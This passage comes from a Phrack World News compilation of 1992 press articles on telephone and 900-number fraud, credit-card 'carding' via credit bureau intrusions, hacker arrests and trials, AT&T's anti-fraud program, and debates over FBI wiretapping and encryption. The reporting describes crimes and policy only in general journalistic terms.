Delaney agreed that the COCOTS that behave in this fashion are an ongoing problem for unsuspecting users, but said that he has received no complaints about illegal behavior. He said, however, that he had received complaints about fraudulent operation of 540 numbers ‑‑ the local New York equivalent of a 900 number. He said "most people don't realize that a 540 number is a chargeable number and these people fall victim to these scams. We had one case in which a person had his computer calling 8,000 phone numbers in the beeper blocks each night. The computer would send a 540 number to the beepers. People calling the number would receive some innocuous information and, at the end of the month a $55 charge on her/his telephone bill."

Delaney continued, "The public has much to be worried about related to telephone fraud, particularly in New York City which can be called "Fraud Central, USA." If you go into the Port Authority Bus Terminal and look up in the balcony, you will see rows of people "shoulder surfing" with binoculars. They have binoculars or telescopes trained on the public telephones. When they see a person making a credit card call, they repeat the numbers into a tape recorder. The number is then sold and, within a few days, it is in use all around the city. People should always be aware of the possibility of shoulder surfers in the area."

Goldstein returned to the 540 subject, pointing out that "because so many people don't realize that it is a billable number, they get caught by ads and wind up paying for scam calls. We published a picture in 2600 Magazine of a poster seen around New York, advertising apartment rental help by calling a 540 number. In very tiny print, almost unreadable, it mentions a charge. People have to be very careful about things like this."

Delaney agreed, saying, "The 540 service must say within the first 10 seconds that there is a charge, how much it is, and that the person can hang up now without being charged ‑‑ the guy with the beeper scam didn't do that and that was one of the reasons for his arrest. Many of the services give the charge so fast and mix it in with instructions to stay on for a free camera or another number to find out about the vacation that they have won that they miss the charges and wind up paying. The 540 person has, although he may be trying to defraud, complied with the letter of the law and it might be difficult to prosecute him. The average citizen must therefore be more aware of these scams and protect themselves."

Goldstein, Phiber Optik, and Delaney spent the remainder of the show answering listener questions. Off The Hook is heard every Wednesday evening on New York City's WBAI (99.5 FM). Recent guests have included Mike Godwin, in‑house counsel of the Electronic Frontier Foundation; and Steve Jackson, CEO of Steve Jackson Games.

________________________________________

Changing Aspects Of Computer Crime Discussed At NYACC May 15, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen (Newbytes)

New York City ‑‑ Donald Delaney, New York State Police senior investigator, and Mike Godwin, in‑house counsel, Electronic Frontier Foundation (EFF), speaking to the May meeting of the New York Amateur Computer Club (NYACC), agreed that the entrance of organized crime into telecommunications fraud has made the subject of computer crime far different than that discussed just a year ago at a similar meeting.

Newsbytes New York bureau chief John McMullen, moderating the discussion, recalled that Delaney in last year's appearance had called for greater education of law enforcement officers in technological areas, the establishment of a New York State computer crime lab, outreach by law enforcement agencies to the public to heighten awareness of computer crime and the penalties attached ‑‑ items that have all come to pass in the ensuing 12 months. He also mentioned that issues involving PBX & cellular phone fraud, privacy concerns and ongoing debate over law enforcement wiretapping & decryption capabilities have replaced the issues that received most of the attention at last year's meeting.

Delaney agreed with McMullen, saying that there has been major strides made in the education of law enforcement personnel and in the acquisition of important tools to fight computer crime. He said that the practice of "carding" ‑‑ the purchasing of goods, particularly computer equipment, has become a much more major problem than it was a year ago and that many more complaints of such activities are now received.

He added that "call‑selling" operations, the making of international telephone calls to foreign countries for a fee, through the fraudulent use of either a company's private branch exchange (PBX) or an innocent party's cellular phone account, has become so lucrative that arrested suspects have told him that "they are moving from drug sales to this type of crime because it is less dangerous and more rewarding."

Delaney pointed out, however, that one of his 1991 arrests had recently been murdered, perhaps for trying to operate as an independent in an area that now seems to be under the control of a Columbian mob "so maybe it's not going to continue to be less dangerous."

Delaney also said that PBX fraud will continue to be a problem until the companies using PBX systems fully understand the system capabilities and take all possible steps to insure security. "Many firms don't even know that their systems have out‑dialing capabilities until they get it with additional monthly phone charges of upwards of $35,000. They don't realize that the system has default passwords that are supposed to be changed," he said, "It finally hits some small businesses when they are bankrupted by the fraudulent long‑distance charges."

Godwin, in his remarks, expressed concern that there is not sufficient recognition of the uniqueness of BBS and conferencing systems and that, therefore, legislators possibly will make decisions based on misunderstandings. He said "Telephone conversations, with the exception of crude conference call systems are 'one‑to‑one' communications. Newspapers and radio & telephone are "one‑to‑many" systems but BBS" are "many‑to‑many" and this is different. EFF is interested in seeing that First Amendment protection is understood as applying to BBSs."

He continued "We also have a concern that law enforcement agencies will respond to the challenges of new technology in inappropriate ways. The FBI and Justice Department, through the 'Digital Telephony Initiative' have requested that the phone companies such at AT&T and Sprint be required to provide law enforcement with the a method of wire‑tapping in spite of technological developments that make present methods less effective.

"Such a procedure would, in effect, make the companies part of the surveillance system and we don't think that that is their job. We think that it is up to law enforcement to develop their own crime‑fighting tools. When the telephone was first developed it made it more difficult to catch crooks. They no longer had to stand around together to plan foul deeds; they could do it by telephone. Then the government discovered wiretapping and was able to respond.

"This ingenuity was shown again recently when law enforcement officials, realizing that John Gotti knew that his phones were tapped and discussed wrongdoings outdoors in front of his house, arranged to have the lampposts under which Gotti stood tapped. That, in my judgement, is a reasonable approach by law enforcement."

Godwin also spoke briefly concerning the on‑going debate over encryption. "The government, through varies agencies such as NSA, keeps attempting to restrict citizens from cloaking their computer files or messages in seemingly unbreakable coding. We think that people have rights to privacy and, should they wish to protect it by encoding computer messages, have a perfect right to do so."

Bruce Fancher, sysop and owner of the new New York commercial BBS service, MindVox, and the last speaker in the program, recounted some of his experiences as a "hacker" and asked the audience to understand that these individuals, even if found attached to a computer system to which they should not legitimately access, are not malicious terrorists but rather explorers. Fancher was a last minute replaced for well‑known NY hacker Phiber Optik who did not speak, on the advice of his attorney, because he is presently the subject of a Justice Department investigation.

During the question and answer period, Delaney suggested that a method of resolving the encryption debate would be for third parties, such as banks and insurance companies, to maintain the personal encryption key for those using encryption. A law enforcement official would then have to obtain a judge's ruling to examine or "tap" the key for future use to decipher the contents of the file or message.

Godwin disagreed, saying that the third party would then become a symbol for "crackers" and that he did not think it in the country's best interests to just add another level of complexity to the problem.

The question and answer period lasted for about 45 minutes with the majority of questions concerning encryption and the FBI wiretap proposal.

________________________________________

Couple Of Bumbling Kids April 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~

By Alfred Lubrano (Newsday)

Two young Queens computer hackers, arrested for the electronic equivalent of pickpocketing credit cards and going on a computer shopping spree, will be facing relatively minor charges.

Rudolph Loil, age 17, of Woodside, charged with attempted grand larceny, was released from police custody on a desk appearance ticket, a spokesman for the Queens district attorney's office said.

A 15‑year‑old friend from Elmhurst who was also arrested was referred to Queens Family Court, whose proceedings are closed, the spokesman said. He was not identified because of his age.

Law‑enforcement sources said they are investigating whether the two were "gofers" for adults who may have engaged them in computer crime, or whether they acted on their own.

But Secret Service officials, called into the matter, characterized the case as "just a couple of bumbling kids" playing with their computer.

The youths were caught after allegedly ordering $1,043 in computer equipment with a credit card number they had filched electronically from bank records, officials said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Hackers April 27, 1992

~~~~~~~

Taken from InformationWeek (Page 8)

Two teenagers were arrested last week in New York for using computers to steal credit card and telephone account numbers and then charging thousands of dollars worth of goods and phone calls to the burgled accounts.

The two were caught only after some equipment they had ordered was sent to the home of the credit card holder whose account number had been pilfered. Their arrests closely follow the discovery by the FBI of a nationwide ring of 1,000 computer criminals, who charge purchases and telephone calls to credit card and phone account numbers stolen from the Equifax credit bureau and other sources.

The discovery has already led to the arrest of two Ohio hackers and the seizure of computer equipment in three cities.

________________________________________

DOD Gets Fax Evesdroppers April 14, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~

By Joseph Albright (Atlanta Journal and Constitution)(Page A12)

Washington ‑‑ The Air Force is buying a new weapon to battle leaks: A $30,000 portable fax‑tapper.

Whenever someone transmits a fax, the fax‑tapping device attached to the phone line will sneak an electronic copy and store it in a laptop computer's memory. Each of the new devices will enable an Air Force intelligence officer to monitor four telephones for "communications security" violations.

Susan Hansen, a Defense Department spokeswoman, said last week that "there is no plan right at the moment" to install the devices in the Pentagon, whose top leaders have been outraged in recent weeks by leaks of classified policy documents to reporters.

But she left open the possibility that some of them will be attached to sensitive military fax lines when the tapping devices are delivered to the Air Force six months to a year from now.

"There are a lot of things that are under review here," she said after consulting with the Pentagon's telecommunications office.

Plans to buy 40 of the devices were disclosed a few weeks ago in a contract notice from a procurement officer at Wright‑Patterson Air Force Base near Dayton, Ohio. When contacted, a spokesman referred inquiries to the Air Force Intelligence Command at Kelly Air Force Base, Texas, which authorized the purchase.

The Air Force Intelligence Command insisted that the devices will never be used for law enforcement purposes or even "investigations."

"The equipment is to be used for monitoring purposes only, to evaluate the security of Air Force official telecommunications," said spokesman Dominick Cardonita. "The Air Force intelligence command does not investigate."

Mr. Cardonita said that, for decades, Air Force personnel in sensitive installations have been on notice that their voice traffic on official lines is subject to "communications security" monitoring. The fax‑tapper simply "enhances" the Air Force's ability to prevent "operational security" violations, he said.

He estimated that the Air Force will pay $1.2 million under the contract, due to be let this June. That averages out to $ 30,000 for each fax‑tapper, but Mr. Cardonita said the price includes maintenance and training.

Douglas Lang, president of Washington's High Technology Store and an authority on security devices, said that, so far as he knows, the Air Force is the first government agency to issue an order for fax‑tapping machines.

Mr. Lang said he has heard from industry sources that 15 contractors have offered to sell such devices to Wright‑Patterson.

"It is one more invasion of privacy by Big Brother," declared Mr. Lang, who predicted that the Air Force will use the devices mainly to catch anyone trying to leak commercially valuable information to contractors.

Judging from the specifications, the Air Force wants a machine that can trace leaks wherever they might occur.

Mr. Cardonita said the Air Force Intelligence Command will use the devices only when invited onto an Air Force base by a top commander.

________________________________________

900‑Number Fraud Case Expected to Set a Trend April 2, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By David Thompson (Omaha <Nebraska> World‑Herald)

Civil court cases against abuses of 900‑toll telephone number "will be slam dunks" as the result of the successful prosecution of a criminal case in Omaha over 900 numbers, a federal postal inspector said.

Postal inspector Michael Jones said numerous civil actions involving 900 numbers have been filed, including three recently in Iowa. At least one civil case is pending in Nebraska, he said, and there may be others.

Jones said the mail fraud conviction of Bedford Direct Mail Service Inc. of Omaha and its president, Ellis B. Goodman, 52, of 1111 South 113th. Court, may have been the first criminal conviction involving 900 numbers.

The conviction also figures in Nebraska Attorney General Don Stenberg's consumer protection program, which calls attention to abuses of 900 numbers, a staff member said.

Among consumer complaints set to Stenberg's office, those about 900 numbers rank in the top five categories, said Daniel L. Parsons, senior consumer protection specialist.

People are often lured by an offer of a gift or prize to dial a toll‑free 800 number, then steered to a series of 900 numbers and charged for each one, Parsons said.

He said that during the last two years, state attorneys general have taken action against 150 organizations for allegedly abusing 900 numbers.

PWN/Part 2

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 11 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIX / Part Two of Four PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

The Charge Of The Carders May 26, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~

By Joshua Quittner (<New York> Newsday)(Page 45)

Computer criminals are after your credit‑card numbers ‑to steal with, sell and swap.

THE KID, from Springfield Gardens, Queens, was a carder, of course.

He was doing what carders do: trying to talk a salesman into overnightexpressing him a $4,000 computer system ‑‑ and using a stolen credit‑card number for payment.

The salesman was playing right along on the phone; he had also notified a coworker to alert the New York State Police, said William Murphy, a customer service manager at Creative Computers, who described the event as it was unfolding on a recent Tuesday morning. Murphy said that on a typical day, as many as a dozen times, carders would call and try to buy everything from modems to whole computer systems.

Murphy said that these days, the security people at Creative Computers are able to stop virtually all of them, either by not delivering the goods, or by delivering them UPS ‑‑ that's United Police Service.

He sighed: "It's amazing that they even try."

But try they do. And at other places, they're successful. Where once hacking into a credit bureau was a kind of rite of passage for computer intruders, who generally did little more than look up credit histories on people like Mike Dukakis, now computer criminals are mining national credit bureaus and mailorder houses, coming away with credit‑card numbers to sell, swap or use for mail‑order purchases.

Underground electronic bulletin board systems help spread not only the passwords, but the techniques used to tap into different systems. In San Diego on April 30, for instance, police raided a bulletin board called Scantronics, which offered among other things, step‑by‑step manuals on how to hack into Equifax Credit Information Services and TRW Information Services, the largest credit bureaus in the nation, the San Diego Tribune reported.

"The potential for fraud is enormous, it's almost limitless," said Joel Lisker, Mastercard International's vice president of security and risk management, who noted that computer intruders accessed "thousands" of credit‑card account numbers in another recent case.

MASTERCARD is putting together a task force of its bank members to address the problem, and is considering inviting hackers in to learn what they can do to tighten up computer access to credit bureaus, he said.

Mastercard estimates it lost $57 million to counterfeit scams last year; Lisker said it is impossible to say how much carders contributed. But based on the volume of arrests lately, he figures carding has become a big problem.

"It's kind of like a farmer that sees a rat," Lisker said. "If he sees one, he knows he has several. And if he sees several he knows he has a major infestation. This is a major infestation."

"It's clearly something we should be concerned about," agreed Scott Charney, chief of the U.S. Justice Department's new Computer Crime Unit. Charney said that roughly 20 percent of the unit's current caseload involves credit‑card fraud, a number that, if nothing else, colors the notion that all hackers are misunderstood kids, innocently exploring the world of computer networks.

"Whether such noble hackers exist, the fact of the matter is we're seeing people out there whose motives are not that pure," he said.

On May 11, New York State Police arrested three teenagers in Springfield Gardens when one of them went to pick up what he hoped was an Amiga 3000 computer system from Creative Computers, at a local UPS depot.

"What he wanted was a computer, monitor and modem. What he got was arrested," said John Kearey, a state police investigator who frequently handles computer and telecommunications crimes. Police posed as UPS personnel and arrested the youth, who led them to his accomplices.

Kearey said the teens said they got the stolen credit‑card number from a "hacker who they met on a bridge, they couldn't remember his name" ‑‑ an interesting coincidence because the account number was for a next‑door neighbor of one of the youths. Police suspect that the teens, who claimed to belong to a small hacking group called the MOB (for Men of Business) either hacked into a credit bureau for the number, got someone else to do it, or went the low‑tech route ‑‑ "dumpster diving" for used carbon copies of credit receipts.

Indeed, most credit‑card fraud has nothing to do with computer abusers. Boiler‑room operations, in which fast‑talking con men get cardholders to divulge their account numbers and expiration dates in exchange for the promise of greatly discounted vacations or other too‑good‑to‑be‑true deals, are far and away the most common scams, said Gregory Holmes, a spokesman for Visa.

But carders have an advantage over traditional credit‑card cheats: By using their PCs to invade credit bureaus, they can find credit‑card numbers for virtually anyone. This is useful to carders who pick specific credit‑card numbers based on location ‑‑ a neighbor is out of town for a week, which means all you have to do is get his account number, stake out his porch and sign for the package when the mail comes. Another advantage is address and ZIP code verifications, once a routine way of double‑checking a card's validity, are no longer useful because carders can get that information from an account record.

"It's tough," Holmes said. "Where it becomes a major problem is following the activity of actually getting the credit‑card number; it's sent out on the black market to a vast group of people" generally over bulletin boards. From there, a large number of purchases can be racked up in a short period of time, well before the cardholder is aware of the situation. While the cardholder is not liable, the victims usually are businesses like Creative Computers, or the credit‑card company.

Murphy said his company used to get burned, although he would not divulge the extent of its losses. "It happened until we got wise enough to their ways," he said.

Now, with arrangements among various law enforcement agencies, telephone companies and mail carriers, as well as a combination of call‑tracing routines and other verification methods, carders "rarely" succeed, he said. Also, a dozen employees work on credit‑card verification now, he said. "I feel sorry for the companies that don't have the resources to devote departments to filter these out. They're the ones that are getting hit hard."

In New York, federal, state and local police have been actively investigating carder cases. Computers were seized and search warrants served on a number of locations in December, as part of an ongoing federal investigation into carding. City police arrested two youths in Queens in April after attempting to card a $1,500 computer system from Creative Computers. They were arrested when they tried to accept delivery.

"It's a legitimate way to make money. I know people who say they do it," claimed a 16‑year‑old Long Island hacker who uses the name JJ Flash.

While he says he eschews carding in favor of more traditional, non‑malicious hacking, JJ Flash said using a computer to break into a credit bureau is as easy as following a recipe. He gave a keystroke‑by‑keystroke description of how it's done, a fairly simple routine that involved disguising the carder's calling location by looping through a series of packet networks and a Canadian bank's data network, before accessing the credit bureau computer. Once connected to the credit bureau computer, JJ Flash said a password was needed ‑no problem, if you know what underground bulletin boards to check.

"It's really easy to do. I learned to do it in about thirty seconds. If you put enough time and energy into protecting yourself, you'll never get caught," he said. For instance, an expert carder knows how to check his own phone line to see if the telephone company is monitoring it, he claimed. By changing the location of a delivery at the last minute, he said carders have evaded capture.

J J FLASH said that while most carders buy computers and equipment for themselves, many buy televisions, videocassette recorders and other goods that are easy to sell. "You can usually line up a buyer before its done," he said. "If you have a $600 TV and you're selling it for $200, you will find a buyer."

He said that while TRW has tightened up security during the past year, Equifax was still an easy target.

But John Ford, an Equifax spokesman, said he believes that hackers greatly exaggerate their exploits. He said that in the recent San Diego case, only 12 records were accessed. "It seems to me the notion that anybody who has a PC and a modem can sit down and break in to a system is patently untrue," he said. "We don't have any evidence that suggests this is a frequent daily occurrence."

Regardless, Ford said his company is taking additional steps to minimize the risk of intrusion. "If one is successful in breaking into the system, then we are instituting some procedures that would render the information that the hacker receives virtually useless."

Also, by frequently altering customers' passwords, truncating account information so that entire credit‑card numbers were not displayed, and possibly encrypting other information, the system will become more secure.

"We take very seriously our responsibility to be the stewards of consumer information," Ford said.

But others say that the credit bureaus aren't doing enough. Craig Neidorf, publisher of Phrack, an underground electronic publication "geared to computer and telecommunications enthusiasts," said that hacking into credit bureaus has been going on, and has been easy to do "as long as I've been around." Neidorf said that although he doesn't do it, associates tell him that hacking into credit bureau's is "child's play" ‑‑ something the credit bureaus have been careless about.

"For them not to take some basic security steps to my mind makes them negligent," Neidorf said. "Sure you can go ahead and have the kids arrested and yell at them, but why isn't Equifax or any of the other credit bureaus not stopping the crime from happening in the first place? It's obvious to me that whatever they're doing probably isn't enough."

A Recent History Of Carding

September 6, 1991: An 18‑year‑old American emigre, living in Israel, was arrested there for entering military, bank and credit bureau computers. Police said he distributed credit‑card numbers to hackers in Canada and the United States who used them to make unknown amounts of cash withdrawals.

January 13, 1992: Four university students in San Luis Obispo, California, were arrested after charging $250,000 in merchandise to Mastercard and Visa accounts. The computer intruders got access to some 1,600 credit‑card accounts, and used the numbers to buy, among other things: Four pairs of $130 sneakers; a $3,500 stereo; two gas barbecues and a $3,000 day at Disneyland.

February 13, 1992: Two teenagers were arrested when one of them went to pick up two computer systems in Bellevue, Wash., using stolen credit‑card numbers. One told police that another associate had hacked into the computer system of a mail‑order house and circulated a list of 14,000 credit‑card numbers through a bulletin board.

April 17, 1992: Acting on a tip from San Diego police, two teenagers in Ohio were arrested in connection with an investigation into a nationwide computer hacking scheme involving credit‑card fraud. Police allege "as many as a thousand hackers" have been sharing information for four years on how to use their computers to tap into credit bureau databases. Equifax, a credit bureau that was penetrated, admits that a dozen records were accessed.

April 22, 1992: Two Queens teens were arrested for carding computer equipment.

________________________________________

Invading Your Privacy May 24, 1992

~~~~~~~~~~~~~~~~~~~~~

By Rob Johnson (The Atlanta Journal and Constitution)(Page A9)

Some do it for fun, others have more criminal intent. Regardless, computer users have a range of techniques and weaponry when breaking into files. "Rooting" forbidden files is hog heaven for hackers

Within an instant, he was in.

Voodoo Child, a 20‑year‑old college student with a stylish haircut and a wellworn computer, had been cruising a massive researchers' network called Internet when he stumbled upon a member account he hadn't explored for a while.

The institution performed "Star Wars" research, he later found out, but that didn't interest him. "I don't know or care anything about physics," he said recently. "I just wanted to get root."

And "getting root," hackers say, means accessing the very soul of a computer system.

Working through the network, he started a program within the research institute's computers, hoping to interrupt it at the right moment. "I figured I just had a second," he said, gesturing with fingers arched above an imaginary keyboard. Suddenly he pounced on the phantom keys. "And it worked."

He soon convinced the computer he was a system operator, and he built himself a back door to Internet: He had private access to exotic supercomputers and operating systems around the world.

Before long, though, the Atlanta‑area hacker was caught, foiled by an MCI investigator following his exploits over the long‑distance phone lines. National security experts sweated over a possible breach of top‑secret research; the investigation is continuing.

And Voodoo Child lost his computer to law enforcement.

"I was spending so much time on the computer, I failed out of college," he said. "I would hack all night in my room, go to bed and get up at 4 in the afternoon and start all over."

In college, he and a friend were once discovered by campus police dumpsterdiving behind the university computer building, searching for any scraps of paper that might divulge an account number or a password that might help them crack a computer.

Now he's sweating it out while waiting for federal agents to review his case. "I'm cooperating fully," he said. "I don't want to go to prison. I'll do whatever they want me to."

In the meantime, he's back in college and has taken up some art projects he'd abandoned for the thrill of computer hacking.

The free‑form days of computer hacking have definitely soured a bit ‑‑ even for those who haven't been caught by the law.

"It's a lot more vicious," Voodoo Child said as a friend nodded in agreement. "Card kids" ‑‑ young hackers who ferret out strangers' credit card numbers and calling card accounts ‑‑ are wrecking the loose communal ethic that defined hacking's earlier, friendlier days.

And other computer network users, he said, are terrified of the tactics of sophisticated hackers who routinely attack other computer users' intelligence, reputation and data.

"I used to run a BBS [electronic bulletin board system] for people who wanted to learn about hacking," Voodoo Child said. "But I never posted anything illegal. It was just for people who had questions, who wanted to do it properly."

Doing it properly, several Atlanta‑area hackers say, means exploring the gaps in computer networks and corporate systems. They say it's an intellectual exercise ‑‑ and an outright thrill ‑‑ to sneak into someone else's computer.

During a recent interview, Voodoo Child and a friend with a valid Internet account dialed up the giant network, where some of their counterparts were waiting for a reporter to ask them some questions.

"Did you get that information on the Atlanta Constitution reporter you were asking about?" a faceless stranger asked.

A startled reporter saw his credit report and credit card numbers flashed across the screen. Voodoo Child offered up the keyboard ‑‑ an introduction of sorts to a mysterious, intimidating accomplice from deep inside the digital otherworld. "Go ahead," he said. "Ask him anything you want."

________________________________________

KV4FZ: Guilty Of Telephone Toll Fraud May 15, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Rice (rice@ttd.teradyne.com) in TELECOM Digest V12 #412

St. Croix ham operator, Herbert L. "Herb" Schoenbohm, KV4FZ, has been found guilty in federal court of knowingly defrauding a Virgin Islands long‑distance telephone service reseller. He was convicted April 24th of possessing and using up to fifteen unauthorized telephone access devices in interstate and foreign commerce nearly five years ago.

The stolen long distance telephone access codes belonged to the Caribbean Automated Long Lines Service, Inc. (CALLS) of St. Thomas, U.S. Virgin Islands. Schoenbohm was found to have made more than $1,000 in unauthorized telephone calls ‑‑ although the prosecution said he was responsible for far more.

According to the Virgin Islands Daily News, Schoenbohm, who is also the St. Croix Police Chief of Communications, showed no emotion when he was pronounced guilty of the charges by a 12 member jury in U.S District Court in Christiansted. The case was heard by visiting District Judge Anne Thompson.

Neither Schoenbohm or his defense attorney, Julio Brady, would comment on the verdict. The jury deliberated about seven hours. The sentencing, which has been set for June 26, 1992, will be handled by another visiting judge not familiar with the case.

Schoenbohm, who is Vice Chairman of the V.I. Republican Committee, has been released pending sentencing although his bail was increased from $5,000 to $25,000. While he could receive a maximum of ten years on each count, Assistant U.S. Attorney Alphonse Andrews said Schoenbohm probably will spend no more than eight months in prison since all three counts are similar and will be merged.

Much of the evidence on the four day trial involved people who received unauthorized telephone calls from KV4FZ during a 1987 period recorded by the CALLS computer. Since the incident took place more than five years ago, many could not pinpoint the exact date of the telephone calls.

The prosecution produced 20 witnesses from various U.S locations, including agents from the Secret Service, the U.S. Marshals Service, Treasury Department and Federal Communications Commission. In addition ham operators testified for the prosecution.

Schoenbohm was portrayed as a criminal who had defrauded calls out of hundreds of thousands of dollars. Schoenbohm admitted using the service as a paying customer, said it did not work and that he terminated the service and never used it again. He feels that there was much political pressure to get him tried and convicted since he had been writing unfavorably articles about Representative DeLugo, a non‑voting delegate to Congress from the Virgin Islands, including his writing of 106 bad checks during the recent rubbergate scandal.

Most, but not all the ham operators in attendance were totally opposed to KV4FZ. Bob Sherrin, W4ASX from Miami attended the trial as a defense character witness. Sherrin told us that he felt the conviction would be overturned on appeal and that Schoenbohm got a raw deal. "They actually only proved that he made $50 in unauthorized calls but the jury was made to believe it was $1,000."

Schoenbohm's attorney asked for a continuance due to newly discovered evidence, but that was denied. There also is a question as to whether the jury could even understand the technology involved. "Even his own lawyer couldn't understand it, and prepared an inept case," Sherrin said. "I think he was railroaded. They were out to get him. There were a lot of ham net members there and they were all anti‑Herb Schoenbohm. The only people that appeared normal and neutral were the FCC. The trial probably cost them a million dollars. All his enemies joined to bring home this verdict."

Schoenbohm had been suspended with pay from the police department job since being indicted by the St. Croix grand jury. His status will be changed to suspension without pay if there is an appeal. Termination will be automatic if the conviction is upheld. Schoenbohm's wife was recently laid off from her job at Pan Am when the airline closed down. Financially, it could be very difficult for KV4FZ to organize an appeal with no money coming in.

The day after the KV4FZ conviction, Schoenbohm who is the Republican Committee vice chairman was strangely named at a territorial convention as one of eight delegates to attend the GOP national convention in Houston this August. He was nominated at the caucus even though his felony conviction was known to everyone. Schoenbohm had even withdrawn his name from consideration since he was now a convicted felon.

The Virgin Island Daily News later reported that Schoenbohm will not be attending the GOP national convention. "Schoenbohm said he came to the conclusion that my remaining energies must be spent in putting my life back together and doing what I can to restore my reputation. I also felt that any publicity in association with my selection may be used by critics against the positive efforts of the Virgin Islands delegation."

Schoenbohm has been very controversial and vocal on the ham bands. Some ham operators now want his amateur radio license pulled ‑‑ and have made certain that the Commission is very much aware of his conviction.

________________________________________

AT&T Launches Program To Combat Long‑Distance Theft May 13, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Virginia Randall (United Press International/UPI)

Citing the mushrooming cost of long‑distance telephone fraud, American Telephone & Telegraph Co. announced plans to combat theft of long‑distance telephone services from customers.

AT&T's program, dubbed NetProtect, is an array of software, consulting, customer education and monitoring services for businesses. One program limits customer liability to the first $25,000 of theft, while another ends customer liability entirely under certain circumstances.

By law, companies are liable for the cost of calls made on their systems, authorized or not.

Jerre Stead, president of AT&T's Business Communications unit, said, "The program not only offers financial relief to victims of long‑distance fraud. It also gives our customers new products and services specifically designed to prevent and detect fraud."

Long‑distance calling fraud ranges from a few dollars to the hundreds of thousands of dollars for victims. The Communications Fraud Control Association, an industry group, estimates long‑distance calling fraud costs more than $1 billion a year, said Peggy Snyder, an association spokeswoman.

NetProtect Basic Service, offered free with long‑distance and domestic 800 service, consists of ongoing monitoring around the clock for unusual activity.

The company will start this service this week.

NetProtect Enhanced and Premium services offer more customized monitoring and limit customer liability to $25,000 per incident or none at all, depending on the program selected.

Pricing and permission to provide the Enhanced and Premium services are dependent on Federal Communication Commission approval. AT&T expects to offer these programs beginning August 1.

Other offerings are a $1,995 computer software package called "Hacker Tracker," consulting services and the AT&T Fraud Intervention Service, a swat team of specialists who will detect and stop fraud while it is in progress.

The company also will provide a Security Audit Service that will consult with customers on possible security risks. Pricing will be calculated on a case‑bycase basis, depending on complexity.

The least expensive option for customers is AT&T's Security Handbook and Training, a self‑paced publication available for $65 which trains users on security features for AT&T's PBX, or private branch exchanges, and voice mail systems.

Fraud occurs through PBX systems, which are used to direct the external telephone calls of a business.

Company employees use access codes and passwords to gain entry to their PBX system. A typical use, the industry fraud group's Snyder said, would be a sales force on the road calling into their home offices for an open line to call other customers nationally or worldwide.

These access codes can be stolen and used to send international calls through the company's network, billable to the company.

Unauthorized access to PBXs occur when thieves use an automatic dialing feature in home computers to dial hundreds of combinations of phone numbers until they gain access to a company's PBX system.

These thieves, also known as hackers, phone freaks or phrackers, then make their own calls through the PBX system or sell the number to a third party to make calls.

Others use automatic dialing to break into PBX systems through voice mail systems because such systems have remote access features.

Calls from cellular phones also are at risk if they are remotely accessed to a PBX. Electronic mail systems for intracompany calls are not affected because they don't require PBX systems.

According to Bob Neresian of AT&T, most fraud involves long‑distance calls to certain South American and Asian countries, especially Columbia and Pakistan.

There is no profile of a typical company at risk for telephone fraud, said Snyder.

"Any company of any size with long‑distance service is at risk," she said. "Criminals don't care who the long distance provider is or how big the company they're stealing from is."

She said the industry recognized the dimensions of telephone theft in 1985, when the Communications Fraud Control Association was formed in Washington D.C. The group consists of providers of long‑distance service, operator services, private payphones, end‑users of PBX systems, federal, state and local law enforcement agencies and prosecutors.

Janice Langley, a spokeswoman for US Sprint Corp. in Kansas City, Mo., called AT&T's announcement similar to a program her company announced March 31.

That service, SprintGuard Plus, is available to companies with a call volume of $30,000 a month. Sprint also offers basic monitoring program to customers without charge.

"We don't have minimum billing requirements for any of these services or systems," responded AT&T's Neresian. "All the carriers have seen the problem and have been working on their own approaches," he said.

Jim Collins, a spokesman for MCI Communications in Washington, said his company had been conducting phone fraud workshops free of charge for customers for four years.

PWN/Part 3

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 12 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIX / Part Three of Four PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

New Phones Stymie FBI Wiretaps April 29, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Simson L. Garfinkel (Christian Science Monitor)(Page 12)

"Legislation proposed by Justice Department would change the way telecommunications equipment is developed in the United States."

For more than 50 years, wiretapping a telephone has been no more difficult than attaching two clips to a telephone line. Although legal wiretaps in the United States have always required the approval of a judge or magistrate, the actual wiretap has never been a technical problem. Now that is changing, thanks to the same revolution in communications that has made car phones, picture telephones, and fax machines possible.

The only thing a person tapping a digital telephone would hear is the indecipherable hiss and pop of digital bits streaming past. Cellular telephones and fiber‑optic communications systems present a would‑be wiretapper with an even more difficult task: There isn't any wire to tap.

Although cellular radio calls can be readily listened in on with hand‑held scanners, it is nearly impossible to pick up a particular conversation ‑‑ or monitor a particular telephone ‑‑ without direct access to the cellular telephone "switch," which is responsible for connecting the radio telephones with the conventional telephone network.

This spring, the Federal Bureau of Investigation (FBI) unveiled legislation that would require telephone companies to include provisions in their equipment for conducting court‑ordered wiretaps. But critics of the legislation, including some members of Congress, claim that the proposals would expand the FBI's wiretap authority and place an undue burden on the telecommunications industry.

Both sides agree that if provisions for monitoring communications are not made in the planning stages of new equipment, it may eventually become impossible for law enforcement personnel to conduct wiretaps.

"If the technology is not fixed in the future, I could bring an order [for a wiretap] to the telephone company, and because the technology wasn't designed with our requirement in mind, that person could not [comply with the court order]," says James K. Kalstrom, the FBI's chief of engineering.

